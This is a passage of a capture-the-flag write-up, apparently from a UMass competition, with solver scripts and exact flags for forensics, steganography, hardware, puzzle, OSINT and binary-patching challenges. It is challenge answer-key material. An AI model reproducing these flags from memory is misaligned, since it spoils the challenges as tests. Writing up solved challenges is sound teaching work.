mounted `/home` tree into a local working copy: ```python from pathlib import Path from binascii import unhexlify import os, shutil src = Path("mnt-root/home") dst = Path("recovered-home") if dst.exists(): shutil.rmtree(dst) dst.mkdir() def maybe_dec_name(name: str) -> str: try: data = unhexlify(name) except Exception: return name out = bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) if out and all(32 <= c < 127 and c not in (47, 92) for c in out): return out.decode("ascii") return name def dec_bytes(data: bytes) -> bytes: return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) for dirpath, dirnames, filenames in os.walk(src): rel = Path(dirpath).relative_to(src) outdir = dst for part in rel.parts: outdir = outdir / maybe_dec_name(part) outdir.mkdir(parents=True, exist_ok=True) for fn in filenames: srcf = Path(dirpath) / fn dstf = outdir / maybe_dec_name(fn) dstf.write_bytes(dec_bytes(srcf.read_bytes())) ``` The repo is still slightly broken because the `find` loop also created `red-herring` files inside `.git`, but the reflogs are readable directly: ```bash sed -n '1,50p' recovered-home/.git/logs/refs/stash ``` Output: ``` 0000000000000000000000000000000000000000 55a10e0874b6d37a8b9c2d70468d91f5b8c78cf5 git stash 1774732415 +0000 On master: You found me! UMASS{h3r35_7h3_c4rg0_vr00m} ``` Flag: ``` UMASS{h3r35_7h3_c4rg0_vr00m} ``` ### Ninja-Nerds #### Description The attached `challenge.png` is a PNG with no useful metadata, no appended data, and no extra chunks. The intended path is simple pixel forensics, not reverse-image searching the Ninjago frame. #### Solution This challenge has a very high solve count because the flag is directly embedded in the image bits in a straightforward way. The winning extraction is: * channel: blue * bit count: 1 * traversal: row-major (`xy`) * byte packing: MSB-first That means: 1. Read the image as RGB. 2. Take the least significant bit of every blue pixel. 3. Walk pixels left-to-right, top-to-bottom. 4. Pack every 8 bits into a byte, most-significant-bit first. 5. Search the resulting byte stream for `UMASS{`. Code: ```python from PIL import Image import numpy as np import re img = np.array(Image.open("attachments/extracted/challenge.png").convert("RGB")) bits = (img[:, :, 2] & 1).reshape(-1) # blue-channel LSBs data = bytearray() for i in range(0, len(bits) - 7, 8): byte = 0 for bit in bits[i:i+8]: byte = (byte << 1) | int(bit) data.append(byte) m = re.search(rb"UMASS\{[^}]+\}", bytes(data)) print(m.group(0).decode()) ``` Output: ``` UMASS{perfectly-hidden-ready-to-strike} ``` Flag: `UMASS{perfectly-hidden-ready-to-strike}` ### Doomed Demo #### Description The provided `demo.lmp` does not replay directly, but `WALKTHROUGH.txt` gives the intended route on Freedoom 0.13.0 `MAP03: Crude Processing Center`. The goal is to recover the player's final Doom fixed-point `x` and `y` coordinates, convert both to hexadecimal, and concatenate them as `UMASS{...}`. #### Solution The file has two layers of damage: 1. The demo header is broken. The playable ticcmd stream starts after 14 junk bytes. 2. Several weapon-select button bytes inside the tic stream are corrupted. Rebuilding a normal vanilla header over `demo.lmp[14:]` gives a partially working replay. Replaying that against an instrumented Chocolate Doom build and comparing the logged events against `WALKTHROUGH.txt` shows four bad weapon-change regions: * `864-865`: should select pistol (`12`), not `4` * `1705-1707`: should select chaingun (`28`) * `2617-2618`: should select shotgun (`20`) * `3936-3937`: should select shotgun (`20`) After applying those fixes, the recovered demo follows the walkthrough all the way to the final exit-lift button. The stable end position is: * `raw_x = 240777950` -> `E59FADE` * `raw_y = -22218853` -> `FEACF79B` as 32-bit two's complement hex So the flag is: ``` UMASS{E59FADEFEACF79B} ``` Patch script: ```python from pathlib import Path data = Path("demo.lmp").read_bytes() # Rebuild a normal vanilla Doom demo header over the intact ticcmd stream. stream = bytearray(data[14:]) header = bytes([ 109, # demo version 1, # skill: HNTR 1, # episode byte (unused in Doom II, still present in header) 3, # MAP03 0, # deathmatch 0, # respawn 0, # fast 0, # nomonsters 0, # consoleplayer 1, 0, 0, 0, # player-in-game bytes ]) fixed = bytearray(header + stream) def patch_button(tic: int, value: int) -> None: fixed[13 + tic * 4 + 3] = value for tic in (864, 865): patch_button(tic, 12) # pistol for tic in (1705, 1706, 1707): patch_button(tic, 28) # chaingun for tic in (2617, 2618): patch_button(tic, 20) # shotgun for tic in (3936, 3937): patch_button(tic, 20) # shotgun Path("recovered-demo.lmp").write_bytes(fixed) ``` Example replay command with the locally instrumented Chocolate Doom build: ```bash docker run --rm \ -v "$PWD:/work" \ -w /work \ -e SDL_VIDEODRIVER=dummy \ -e SDL_AUDIODRIVER=dummy \ -e XDG_DATA_HOME=/tmp \ choco-patched:latest \ ./probe-build/src/chocolate-doom \ -iwad freedoom-0.13.0/freedoom2.wad \ -timedemo recovered-demo.lmp \ -window ``` That replay ends with: ``` FINAL_POS map=3 raw_x=240777950 raw_y=-22218853 hex_x=E59FADE hex_y=FEACF79B ``` *** ## hardware ### Brick by Brick #### Description We are given a CSV capture of a digital signal intercepted from a "custom LEGO controller" and need to recover the hidden message. #### Solution The CSV is not event-based; it is a uniformly sampled logic trace. The key observation is that the signal has a 15-sample structure. When chunking the bitstream into 15-bit blocks and trying all 15 alignments, every block contains the constant pattern `01111110` at a fixed position for a given alignment. At offset `13`, each block becomes: ``` 01111110xxxxxxx ``` So the capture can be interpreted as repeated 15-bit symbols made of a fixed `0x7e` marker plus 7 payload bits. The next important step is that those 7 payload bits are transmitted bit-reversed. Reversing each 7-bit payload and interpreting it as ASCII produces a clean Linux boot log. Near the end of the decoded text is: ``` secretflag: 554d4153537b553452375f31355f3768335f623335372c5f72316768373f7d ``` That value is hex, which decodes to: ``` UMASS{U4R7_15_7h3_b357,_r1gh7?} ``` Solution script: ```python import csv with open("attachments/unpacked/code.csv") as f: rows = list(csv.DictReader(f)) bits = "".join(row["logic_level"] for row in rows) # Alignment found by checking all offsets and noticing that offset 13 gives: # 01111110xxxxxxx offset = 13 payload = [] for i in range(offset, len(bits) - 14, 15): chunk = bits[i:i + 15] seven = chunk[8:] # keep the variable 7 bits value = int(seven[::-1], 2) # reverse bit order payload.append(value) decoded = "".join(chr(x) for x in payload) print(decoded) marker = "secretflag: " idx = decoded.index(marker) + len(marker) hex_flag = decoded[idx:idx + 68] print(bytes.fromhex(hex_flag).decode()) ``` Flag: ``` UMASS{U4R7_15_7h3_b357,_r1gh7?} ``` ### Smart Brick v2 #### Description The attachment is a single KiCad PCB file. There is no firmware or schematic, just a board full of `74LSxx` logic, a 7-pin input header, power, and 19 LEDs driven by MOSFETs. The useful observation is that the board is purely combinational: * `J1` exposes 7 data inputs, `IN0..IN6` * `J2` is `+5V/GND` * each LED is controlled by a logic net through a `2N7002` So the job is to recover the boolean network from the PCB, simulate all `2^7 = 128` possible inputs, and see which LEDs turn on for which inputs. #### Solution I parsed the PCB file directly, extracted every gate chip's pad-to-net mapping, and simulated the logic network. The resulting truth table is extremely sparse: only a small set of input values ever light LEDs. That makes the intended behavior clear: each 7-bit input value represents a character, and the lit LEDs mark the positions where that character appears in the secret string. One subtlety is bit order. The input header is wired so that the natural character value is the reversed bit string `IN6..IN0`, not `IN0..IN6`. After reversing the 7-bit inputs, the active characters become: * `U, M, A, S, S, {, I, n, _, T, h, 3, _, G, 4, t, 3, s, }` Reading the LEDs from `D1` through `D19` gives: `UMASS{In_Th3_G4t3s}` Solver code: ```python #!/usr/bin/env python3 from __future__ import annotations import itertools import re from pathlib import Path PCB_PATH = Path("attachments/smart-brick-v2/smart-brick-v2.kicad_pcb") GATE_MAPS = { "74LS00": [("NAND", [1, 2], 3), ("NAND", [4, 5], 6), ("NAND", [9, 10], 8), ("NAND", [12, 13], 11)], "74LS02": [("NOR", [2, 3], 1), ("NOR", [5, 6], 4), ("NOR", [8, 9], 10), ("NOR", [11, 12], 13)], "74LS04": [("NOT", [1], 2), ("NOT", [3], 4), ("NOT", [5], 6), ("NOT", [9], 8), ("NOT", [11], 10), ("NOT", [13], 12)], "74LS08": [("AND", [1, 2], 3), ("AND", [4, 5], 6), ("AND", [9, 10], 8), ("AND", [12, 13], 11)], "74LS20": [("NAND", [1, 2, 4, 5], 6), ("NAND", [9, 10, 12, 13], 8)], "74LS21": [("AND", [1, 2, 4, 5], 6), ("AND", [9, 10, 12, 13], 8)], "74LS27": [("NOR", [1, 2, 13], 12), ("NOR", [3, 4, 5], 6), ("NOR", [9, 10, 11], 8)], "74LS32": [("OR", [1, 2], 3), ("OR", [4, 5], 6), ("OR", [9, 10], 8), ("OR", [12, 13], 11)], "74LS86": [("XOR", [1, 2], 3), ("XOR", [4, 5], 6), ("XOR", [9, 10], 8), ("XOR", [12, 13], 11)], } def parse_footprints(text: str) -> list[list[str]]: blocks = [] cur = None for line in text.splitlines(): if line.startswith("\t(footprint "): cur = [line] continue if cur is not None: cur.append(line) if line == "\t)": blocks.append(cur) cur = None return blocks def parse_footprint(block: list[str]) -> dict | None: ref = None value = None at = None pads = {} i = 0 while i < len(block): line = block[i] m = re.search(r'\(property "Reference" "([^"]+)"', line) if m: ref = m.group(1) m = re.search(r'\(property "Value" "([^"]+)"', line) if m: value = m.group(1) if at is None: m = re.search(r'^\t\t\(at ([0-9.]+) ([0-9.]+)(?: [0-9.]+)?\)', line) if m: at = (float(m.group(1)), float(m.group(2))) m = re.search(r'^\t\t\(pad "([^"]+)" ', line) if m: pad_num = m.group(1) pad_lines = [line] i += 1 while i < len(block): pad_lines.append(block[i]) if block[i] == "\t\t)": break i += 1 pad_text = "\n".join(pad_lines) net_match = re.search(r'\(net \d+ "([^"]+)"\)', pad_text) if net_match: pads[pad_num] = net_match.group(1) i += 1 if ref is None: return None return {"ref": ref, "value": value, "at": at, "pads": pads} def eval_gate(kind: str, values: list[int]) -> int: if kind == "NOT": return 0 if values[0] else 1 if kind == "AND": return int(all(values)) if kind == "NAND": return int(not all(values)) if kind == "OR": return int(any(values)) if kind == "NOR": return int(not any(values)) if kind == "XOR": out = 0 for v in values: out ^= v return out raise ValueError(kind) def main() -> None: text = PCB_PATH.read_text() footprints = [fp for fp in (parse_footprint(b) for b in parse_footprints(text)) if fp] by_ref = {fp["ref"]: fp for fp in footprints} gates = [] for fp in footprints: value = fp["value"] if value not in GATE_MAPS: continue for kind, ins, out in GATE_MAPS[value]: out_net = fp["pads"].get(str(out)) if not out_net or out_net.startswith("unconnected-"): continue in_nets = [fp["pads"][str(pin)] for pin in ins] gates.append((out_net, kind, in_nets, fp["ref"], value)) led_gate_nets = {} for n in range(1, 20): q = by_ref[f"Q{n}"] led_gate_nets[f"D{n}"] = q["pads"]["1"] order = [f"/IN{i}" for i in range(7)] rows = [] for bits in itertools.product([0, 1], repeat=7): nets = {name: bit for name, bit in zip(order, bits)} nets["+5V"] = 1 nets["GND"] = 0 for _ in range(200): changed = False for out_net, kind, in_nets, _, _ in gates: if all(net in nets for net in in_nets): val = eval_gate(kind, [nets[net] for net in in_nets]) if nets.get(out_net) != val: nets[out_net] = val changed = True if not changed: break else: raise RuntimeError("gate evaluation did not converge") leds = "".join(str(nets[led_gate_nets[f"D{i}"]]) for i in range(1, 20)) rows.append(("".join(str(b) for b in bits), leds, nets)) position_chars = ["?"] * 19 for bits, _, nets in rows: positions = [i for i in range(1, 20) if nets[led_gate_nets[f"D{i}"]]] if not positions: continue ch = chr(int(bits[::-1], 2)) for pos in positions: position_chars[pos - 1] = ch print("".join(position_chars)) if __name__ == "__main__": main() ``` Running it prints: ``` UMASS{In_Th3_G4t3s} ``` *** ## miscellaneous ### Deep Down #### Description There's something in the water... #### Solution `deep-down.zip` contains a single file, `CHALL.gif`. Initial checks showed: * no appended payload * no useful metadata/comments * 12 GIF frames * a very small file size, which suggested palette/index abuse rather than a large hidden blob The key detail is the GIF global palette. It contains duplicate-looking entries: * index `1` and index `3` are both `(11, 41, 71)` * index `4` and index `6` are both near-identical yellow values When the GIF is rendered normally, those duplicate palette entries collapse to the same visible colors, so the hidden information does not show up. The solve is to parse the raw GIF image data, LZW-decode the first frame, and distinguish palette index `1` from palette index `3`. Doing that reveals hidden text embedded in the seabed region. Reading the extracted text gives the flag: `UMASS{1N_A_G1774}` Solve script: ```python from pathlib import Path from PIL import Image def parse_gif(path: str): data = Path(path).read_bytes() pos = 6 + 7 packed = data[10] gct_size = 2 ** ((packed & 0b111) + 1) if ((packed >> 7) & 1) else 0 pos += 3 * gct_size def lzw_decode(min_code_size: int, compressed: bytes) -> bytes: clear = 1 << min_code_size end = clear + 1 code_size = min_code_size + 1 next_code = end + 1 table = {i: bytes([i]) for i in range(clear)} bits = 0 cur = 0 idx = 0 prev = None out = bytearray() while True: while bits < code_size: if idx >= len(compressed): return bytes(out) cur |= compressed[idx] << bits bits += 8 idx += 1 code = cur & ((1 << code_size) - 1) cur >>= code_size bits -= code_size if code == clear: table = {i: bytes([i]) for i in range(clear)} code_size = min_code_size + 1 next_code = end + 1 prev = None continue if code == end: break if code in table: entry = table[code] elif code == next_code and prev is not None: entry = prev + prev[:1] else: raise ValueError("bad LZW stream") out.extend(entry) if prev is not None: table[next_code] = prev + entry[:1] next_code += 1 if next_code == (1 << code_size) and code_size < 12: code_size += 1 prev = entry return bytes(out) frames = [] while pos < len(data): block = data[pos] pos += 1 if block == 0x21: label = data[pos] pos += 1 if label == 0xF9: pos += 1 + data[pos] + 1 else: while True: sz = data[pos] pos += 1 if sz == 0: break pos += sz elif block == 0x2C: width = int.from_bytes(data[pos + 4:pos + 6], "little") height = int.from_bytes(data[pos + 6:pos + 8], "little") packed = data[pos + 8] pos += 9 if packed >> 7: pos += 3 * (2 ** ((packed & 7) + 1)) min_code_size = data[pos] pos += 1 chunks = [] while True: sz = data[pos] pos += 1 if sz == 0: break chunks.append(data[pos:pos + sz]) pos += sz pixels = lzw_decode(min_code_size, b"".join(chunks)) frames.append((width, height, pixels)) elif block == 0x3B: break return frames w, h, pixels = parse_gif("work/CHALL.gif")[0] # Visualize only palette index 1; index 3 is treated as background. # This exposes the hidden text in the lower part of the frame. img = Image.new("L", (w, h), 255) for y in range(h): for x in range(w): img.putpixel((x, y), 0 if pixels[y * w + x] == 1 else 255) img = img.crop((0, 50, w, h)) img = img.resize((img.width * 12, img.height * 12), Image.Resampling.NEAREST) img.save("extracted.png") print("saved extracted.png") ``` Running the script produces an image where the hidden text is readable, yielding: `UMASS{1N_A_G1774}` ### Take a Slice #### Description We are given `take-a-slice.zip`, which contains a single file named `cake`. The challenge hint is "It's in the name!", so the first step is to identify what `cake` actually is. `cake` is a binary STL: * The first 80 bytes are the STL header. * Bytes `80:84` are the triangle count. * The total file size matches `84 + 50 * triangle_count`. That means the attachment is a 3D mesh, and "Take a Slice" strongly suggests slicing the model. #### Solution The STL contains one large connected component for the cake mesh, plus many small connected components hidden inside it. Those small components are all coplanar, so projecting them into their natural 2D plane reveals text. Reading the projected shapes left-to-right gives: `UMASS{SL1C3_&_D1C3}` Exact solver: ```python import trimesh import numpy as np m = trimesh.load("work/cake", file_type="stl") # Split the mesh into connected components. comps = sorted(m.split(only_watertight=False), key=lambda x: -len(x.faces)) # Largest component is the cake itself; the rest are the hidden glyphs. hidden = comps[1:] # Find the natural plane of the hidden components using PCA. verts = np.vstack([c.vertices for c in hidden]) center = verts.mean(axis=0) _, _, vh = np.linalg.svd(verts - center, full_matrices=False) # The hidden glyphs lie in the PCA (axis 0, axis 2) plane. order = [] for i, c in enumerate(hidden, 1): proj = (c.vertices - center) @ vh.T order.append((proj[:, 0].mean(), i, proj[:, [0, 2]])) order.sort() print("left-to-right component order:", [i for _, i, _ in order]) ``` To make the letters readable, I projected each hidden component's edges into that plane: ```python import trimesh import numpy as np import matplotlib.pyplot as plt m = trimesh.load("work/cake", file_type="stl") comps = sorted(m.split(only_watertight=False), key=lambda x: -len(x.faces)) hidden = comps[1:] verts = np.vstack([c.vertices for c in hidden]) center = verts.mean(axis=0) _, _, vh = np.linalg.svd(verts - center, full_matrices=False) fig, ax = plt.subplots(figsize=(14, 4)) for c in hidden: proj = (c.vertices - center) @ vh.T uv = proj[:, [0, 2]] for e in c.edges_unique: pts = uv[e] ax.plot(pts[:, 0], pts[:, 1], "k-", lw=1) ax.set_aspect("equal", adjustable="box") plt.show() ``` From the projected glyphs: * `U M A S S {` * `S L 1 C 3` * `_` * `&` * `_` * `D 1 C 3` * `}` So the flag is: ``` UMASS{SL1C3_&_D1C3} ``` ### knex #### Description `lush.png` is a deliberately broken PNG. Between normal `IDAT` chunks it contains many invalid `l0l4` chunks. Concatenating those invalid chunk bodies gives a valid JPEG, and removing them gives a valid clean PNG. The JPEG also contains a `steghide` payload (`teeny.mp3`) with the empty passphrase: ```bash steghide extract -sf attachments/extracted.jpg -p '' ``` The important hint was `alpha = 0.45`: the clean PNG has a BPCS payload in CGC space at threshold `0.45`. #### Solution The normal `mobeets`-style decode was a trap because the payload was not using the usual trailing conjugation-map blocks. The useful observations were: * Extracting complex `8x8` CGC blocks from `lush_clean.png` at `alpha = 0.45` gives `5670` blocks. * Those blocks form a `70 x 81` grid. * In the raw extracted grid, row `8` is the repeated template row, and row `7` differs from it only at columns `0..6`. * That means only the first `70*7 + 7 = 497` raw blocks are real payload. * The bespoke conjugation rule is: the **top-left bit** of each payload block is the conjugation marker. If it is set, XOR the whole `8x8` block with the normal checkerboard `AA 55 AA 55 AA 55 AA 55`. * After that, the recovered bytes are printable **Base91**. Base91-decoding them yields the flag repeated many times. Self-contained solver: ```python from pathlib import Path from PIL import Image import numpy as np import re PNG_SIG = b'\x89PNG\r\n\x1a\n' ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%&()*+,./:;<=>?@[]^_`{|}~"' DEC = {c: i for i, c in enumerate(ALPHABET)} PAT = bytes([0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55]) def base91_decode(s: str) -> bytes: v = -1 b = 0 n = 0 out = bytearray() for ch in s: if ch not in DEC: continue c = DEC[ch] if v < 0: v = c continue v += c * 91 b |= v << n n += 13 if (v & 8191) > 88 else 14 while n > 7: out.append(b & 0xFF) b >>= 8 n -= 8 v = -1 if v >= 0: out.append((b | (v << n)) & 0xFF) return bytes(out) def complexity(block: np.ndarray) -> float: h = np.sum(block[:, :-1] != block[:, 1:]) v = np.sum(block[:-1, :] != block[1:, :]) return (h + v) / 112.0 # 1) Split lush.png into a clean PNG and the spliced JPEG. raw_png = Path("attachments/lush.png").read_bytes() assert raw_png.startswith(PNG_SIG) pos = 8 clean = bytearray(PNG_SIG) spliced = bytearray() while pos < len(raw_png): length = int.from_bytes(raw_png[pos:pos + 4], "big") ctype = raw_png[pos + 4:pos + 8] if ctype == b"l0l4": spliced += raw_png[pos + 8:pos + 8 + length] else: clean += raw_png[pos:pos + 12 + length] pos += 12 + length if ctype == b"IEND": break Path("writeup_lush_clean.png").write_bytes(clean) Path("writeup_extracted.jpg").write_bytes(spliced) # 2) Extract raw BPCS blocks from the clean PNG in CGC space at alpha=0.45. img = np.array(Image.open("writeup_lush_clean.png")) img = img[: img.shape[0] // 8 * 8, : img.shape[1] // 8 * 8, :3] img_cgc = img ^ (img >> 1) blocks = [] for ch in range(3): for bit in range(7, -1, -1): plane = ((img_cgc[:, :, ch] >> bit) & 1).astype(np.uint8) for y in range(0, plane.shape[0], 8): for x in range(0, plane.shape[1], 8): block = plane[y:y + 8, x:x + 8] if complexity(block) >= 0.45: row_bytes = bytes(int("".join(str(v) for v in row), 2) for row in block) blocks.append(row_bytes) assert len(blocks) == 5670 # 3) Find the real payload boundary from the repeated raw template rows. rows = [blocks[i:i + 70] for i in range(0, len(blocks), 70)] template = rows[8] assert all(row == template for row in rows[8:]) assert [i for i, (a, b) in enumerate(zip(rows[7], template)) if a != b] == list(range(7)) used = 70 * 7 + 7 # 497 payload blocks # 4) Bespoke conjugation: top-left bit is the conjugation flag. b91_text = bytearray() for block in blocks[:used]: if block[0] & 0x80: block = bytes(a ^ b for a, b in zip(block, PAT)) b91_text += block b91_text = b91_text.decode("ascii") # 5) Base91 decode and print the first clean flag. payload = base91_decode(b91_text) flag = re.search(rb"UMASS\{[^}]+\}", payload).group().decode() print(flag) ``` Output: ``` UMASS{0N3_D4Y_Y0U_W1LL_83_3MPL0Y3D} ``` ## Blink of an Eye - Writeup **Category:** Miscellaneous\ **Points:** 500\ **Flag:** `UMASS{i_d1d_7h3_l3g0_c0py_p4573_m4nu4lly}` ### Challenge > This Ohio '67 director once watched over a hero-creating hopecore machine. One of his actors (a wine expert) was the subject of a legal dispute between a Cannon and a giant Dane. My secrets are on page 138. An attached `nums.txt` contains 41 integers: ``` pieces = [6196548,379526,6175367,300426,300426,362326,6092585,6234695, 4644456,302001,4644456,6234695,395701,6306064,4243812,6234695, 4618852,4243812,302126,6104805,6234695,452926,6104805,6325254, 4515368,6234695,6325254,6051511,6280386,395701,4243812,6234695, 302326,6051511,4107761,6133722,6051511,4618852,4618852,4515368,6256051] ``` ### Solution #### Step 1: Decode the riddle * **Ohio '67 director** = David Collins (born 1967 in Ohio), creator/director of *Queer Eye*. * **Hero-creating hopecore machine** = *Queer Eye* (the TV show that transforms people's lives). * **One of his actors (a wine expert)** = Antoni Porowski, the food & wine expert from Queer Eye. * **Legal dispute between a Cannon and a giant Dane** = Points to LEGO (a giant Danish company). The legal dispute context connects Antoni Porowski / Queer Eye to LEGO. * **My secrets are on page 138** = Page 138 of the LEGO instruction manual. The connection: LEGO set **10291** is the *Queer Eye - The Fab 5 Loft* set. Its instruction manual PDF is freely available from [LEGO's website](https://www.lego.com/cdn/product-assets/product.bi.core.pdf/6372662.pdf). #### Step 2: Identify the numbers as LEGO element IDs The 41 integers in `nums.txt` are **LEGO element IDs**. Each element ID uniquely identifies a specific LEGO part in a specific color. All 24 unique element IDs from the list appear on **page 138** of the LEGO 10291 instruction manual, which is the set's parts inventory page. #### Step 3: The encoding - column-major grid position = ASCII Page 138 of the manual is a parts inventory page showing 164 valid LEGO elements arranged in a visual grid with 13 columns. The key insight (hinted by the title "Blink of an Eye" - look carefully at the page layout): 1. Extract all element IDs from page 138 with their (x, y) positions using a PDF parser (e.g., PyMuPDF). 2. Filter out invalid element IDs (e.g., `62690` which is a PDF text extraction artifact). 3. Sort the elements in **column-major order**: first by column (x-coordinate), then by row (y-coordinate) within each column. 4. The **0-indexed position** of each element in this ordering directly gives the **ASCII character code**. For example: * Element `6175367` is at position 65 in column-major order → ASCII 65 = `A` * Element `300426` is at position 83 → ASCII 83 = `S` * Element `6196548` is at position 85 → ASCII 85 = `U` * Element `362326` is at position 123 → ASCII 123 = `{` #### Step 4: Decode the flag Reading the 41 element IDs through the column-major position lookup: ``` 6196548(U) 379526(M) 6175367(A) 300426(S) 300426(S) 362326({) 6092585(i) 6234695(_) 4644456(d) 302001(1) 4644456(d) 6234695(_) 395701(7) 6306064(h) 4243812(3) 6234695(_) 4618852(l) 4243812(3) 302126(g) 6104805(0) 6234695(_) 452926(c) 6104805(0) 6325254(p) 4515368(y) 6234695(_) 6325254(p) 6051511(4) 6280386(5) 395701(7) 4243812(3) 6234695(_) 302326(m) 6051511(4) 4107761(n) 6133722(u) 6051511(4) 4618852(l) 4618852(l) 4515368(y) 6256051(}) ``` **Flag:** `UMASS{i_d1d_7h3_l3g0_c0py_p4573_m4nu4lly}` In leetspeak: **"I did the lego copy paste manually"** *** ## osint ### Funny Business #### Description We are given a street photo and asked for the contact email address of a store. The clue says the store sells "special bricks", its office is above a well-known shopping centre on the pictured street, and it will "bring me joy". #### Solution The useful path was: 1. Geolocate the image. The building facade/logo in the photo matches `Ho King Shopping Centre` in Mong Kok, Hong Kong, not the earlier Windsor House / Causeway Bay branch. 2. Use the clue wording. `bring me joy` points to `Joy Bricks`, and `special bricks` fits a non-LEGO brick seller. 3. Verify on the official site. The official site is `https://joooooy.com/`. Its homepage title explicitly says it sells alternative brick brands, and the contact page gives the email and office address above Ho King Commercial Centre. Verification: ```bash curl -sL https://joooooy.com/ | grep -oP '(?<=).*?(?=)' ``` Output shows: ``` LEPIN KING XINGBAO MOULDKING DECOOL SY SEMBO bricks building blocks – Joy Bricks ``` Then fetch the contact page: ```bash curl -sL 'https://joooooy.com/pages/contact-us' | \ grep -oP 'joyingwang@gmail\.com|FLAT 2304, 23/F, HO KING, COMMERCIAL CENTRE, 2-16 FA YUEN STREET, MONG KOK ,KOWLOON, HONG KONG' ``` That confirms: ``` joyingwang@gmail.com FLAT 2304, 23/F, HO KING, COMMERCIAL CENTRE, 2-16 FA YUEN STREET, MONG KOK ,KOWLOON, HONG KONG ``` So the flag is: ``` UMASS{joyingwang@gmail.com} ``` ### Son of a Sith... #### Description We are given a single attachment, `son-of-a-sith....zip`, containing a PNG screenshot. The flag format is: `UMASS{What_The_Red_Brick_Does}` The screenshot shows a LEGO Star Wars red brick in a sandy canyon/cave area. #### Solution First inspect the provided files: ```bash rg --files . sed -n '1,220p' description.md unzip -l attachments/son-of-a-sith....zip unzip -o attachments/son-of-a-sith....zip -d attachments file attachments/Screenshot_20260403_191312.png exiftool attachments/Screenshot_20260403_191312.png ``` The ZIP contains one image: `Screenshot_20260403_191312.png`. Viewing the screenshot shows: * A LEGO Star Wars red brick * A sandy Tatooine-like canyon * A cave entrance in the rock wall * Two gray rails/tracks leading into the cave That combination is the key. In LEGO Star Wars, the `Through the Jundland Wastes` / `Jundland Wastes` red brick is reached by: 1. Entering the hidden side area near the beginning of the level 2. Hovering across as `R2` 3. Pushing a wagon/cart 4. Following the tracks to the cave where the red brick is This matches the screenshot exactly because the visible gray lines are the cart tracks leading into the cave. After identifying the level as `Through the Jundland Wastes`, the red brick reward can be mapped from LEGO Star Wars guides/wiki references: * In `LEGO Star Wars II: The Original Trilogy`, that power brick unlocks `Fast Force` * In `LEGO Star Wars: The Complete Saga`, `Through the Jundland Wastes` also maps to `Fast Force` So the flag is: ``` UMASS{Fast_Force} ``` ### High Performance #### Description We are given a ZIP containing a single image and asked to identify a nearby computer shop that sells a computer not intended for Windows, macOS, or Linux, then recover the processor used in that shop's flagship PCIe-capable system. #### Solution First, inspect the provided files: ```bash unzip -l attachments/high-performance.zip unzip -o attachments/high-performance.zip -d . exiftool high-performance.png ``` The PNG metadata contains an embedded comment: ``` Comment : https://youtu.be/8OzZxjqKG10 ``` That YouTube link is a dead end meme video and does not help with the OSINT path. Next, inspect the image itself. The scene shows: * European residential architecture * yellow license plates * French-style signage * an industrial-looking background Those clues point strongly to Luxembourg, especially the industrial southwest around Differdange / Esch-sur-Alzette. The key location lead is `Rue Émile Mark` in Differdange, Luxembourg. AAA Technology has a physical shop there. A confirming public article states: * AAA Technology was created in Luxembourg * their physical shop is at `76, Rue Émile Mark – L-4620 Differdange` Useful lookup: ```bash python - <<'PY' print("AAA Technology shop: 76 Rue Émile Mark, L-4620 Differdange, Luxembourg") PY ``` Public corroboration used during solving: * Amiga Impact article about AAA Technology opening in Luxembourg * indexed shop snippets for `amigakit.fr`, which is the AAA Technology storefront The shop sells Amiga hardware, which satisfies the challenge text about a computer not designed for Windows, macOS, or Linux. The important part was identifying the correct current flagship PCIe-capable system from the storefront. Search engine indexed snippets for the live catalog showed: * `A1222+ SYSTEM` listed as a complete system * it was the top-priced complete system among the indexed non-mainstream computers on the storefront * the matching `A1222+ Motherboard` specification page explicitly says it is based on: ``` NXP QorIQ P1022 ``` and also explicitly mentions PCIe support. Representative queries/commands used: ```bash yt-dlp --dump-single-json --skip-download 'https://youtu.be/8OzZxjqKG10' ``` Searches performed: ``` AAA Technology Luxembourg Rue Emile Mark site:amigakit.fr AAA Technology sarl A1222+ SYSTEM site:amigakit.fr "QorIQ P1022" ``` Final flag: ``` UMASS{NXP QorIQ P1022} ``` ### We Have 图寻 at Home #### Description The image clue was a streetview-style panorama of an office-park road. The challenge text said the lost chip was: * serial NOR flash * `1024 KB` capacity * `108Mhz` * used in a children's toy The flag format was `UMASS{name of chip on website}`. #### Solution I started by translating the chip requirement into a product filter: * `1024 KB` means `8Mbit` * `108MHz` * SPI / serial NOR flash That leaves a relatively small set of China-market flash parts. I first checked several Shenzhen-heavy candidates such as HGSEMI, BOYA, XTX, and TD, and also spent time trying to pin the exact office park from the panorama. That geography work produced several plausible Shenzhen corridors, but none of the obvious first-pass flags landed. The solve came from going back to the product side and looking for an exact official website match rather than forcing the map clue. Using official ChipSourceTek pages: * The official product page for `XT25F08B-S` states: * `8M-bit` * `1024K-byte` * `108MHz for fast read` * The official contact page places ShenZhen ChipSourceTek in Shenzhen: * `Room302, Building A3, MingXi Creative Park ... Bao'an District, ShenZhen` That made `XT25F08B-S` a strong fit: * exact capacity match * exact clock match * official website product name available directly on the page * official Shenzhen office/park address matching the challenge’s office-park framing I verified the exact order-code family from the official datasheet page as well. The product page lists: ``` XT25F08B-S XT25F08BSOIGU-S XT25F08BSOIGT-S XT25F08BSSIGU-S XT25F08BSSIGT-S XT25F08BDFIGT-S ``` Because the flag format wanted the chip name “on website”, I submitted the base product string first: Final flag: ``` UMASS{XT25F08B-S} ``` *** ## reverse\_engineering ### Batcave Bitflips #### Description We are given a non-stripped ELF, `batcave_license_checker`. The challenge hints say there are 3 bugs, with one involving rotation and one involving the SBOX. The binary exposes enough symbols to recover the intended structure: * `LICENSE_KEY` is embedded in `.data` as `!_batman-robin-alfred_((67||67))` * `EXPECTED` is the 32-byte target hash * `FLAG` is the encrypted flag buffer * `SBOX` is the substitution table * Main flow is: 1. read 32-byte license key 2. hash it 3. compare against `EXPECTED` 4. decrypt and print the flag Running the program with the embedded license key does not pass verification, so the shipped binary is corrupted. #### Solution The three bugs are: 1. `rotate()` is wrong * Current code computes `(x << 3) | (x >> 6)` * Intended operation is `rol(x, 3)`, so the immediate `6` should be `5` * File patch: offset `0x1282`, change `0x06 -> 0x05` 2. One SBOX entry is wrong * The SBOX is almost a permutation of `0..255`, but has duplicate `0x43` and is missing `0x44` * The bad entry is `SBOX[0x18]` * File patch: offset `0x3098`, change `0x43 -> 0x44` 3. `decrypt_flag()` uses `or` instead of `xor` * The 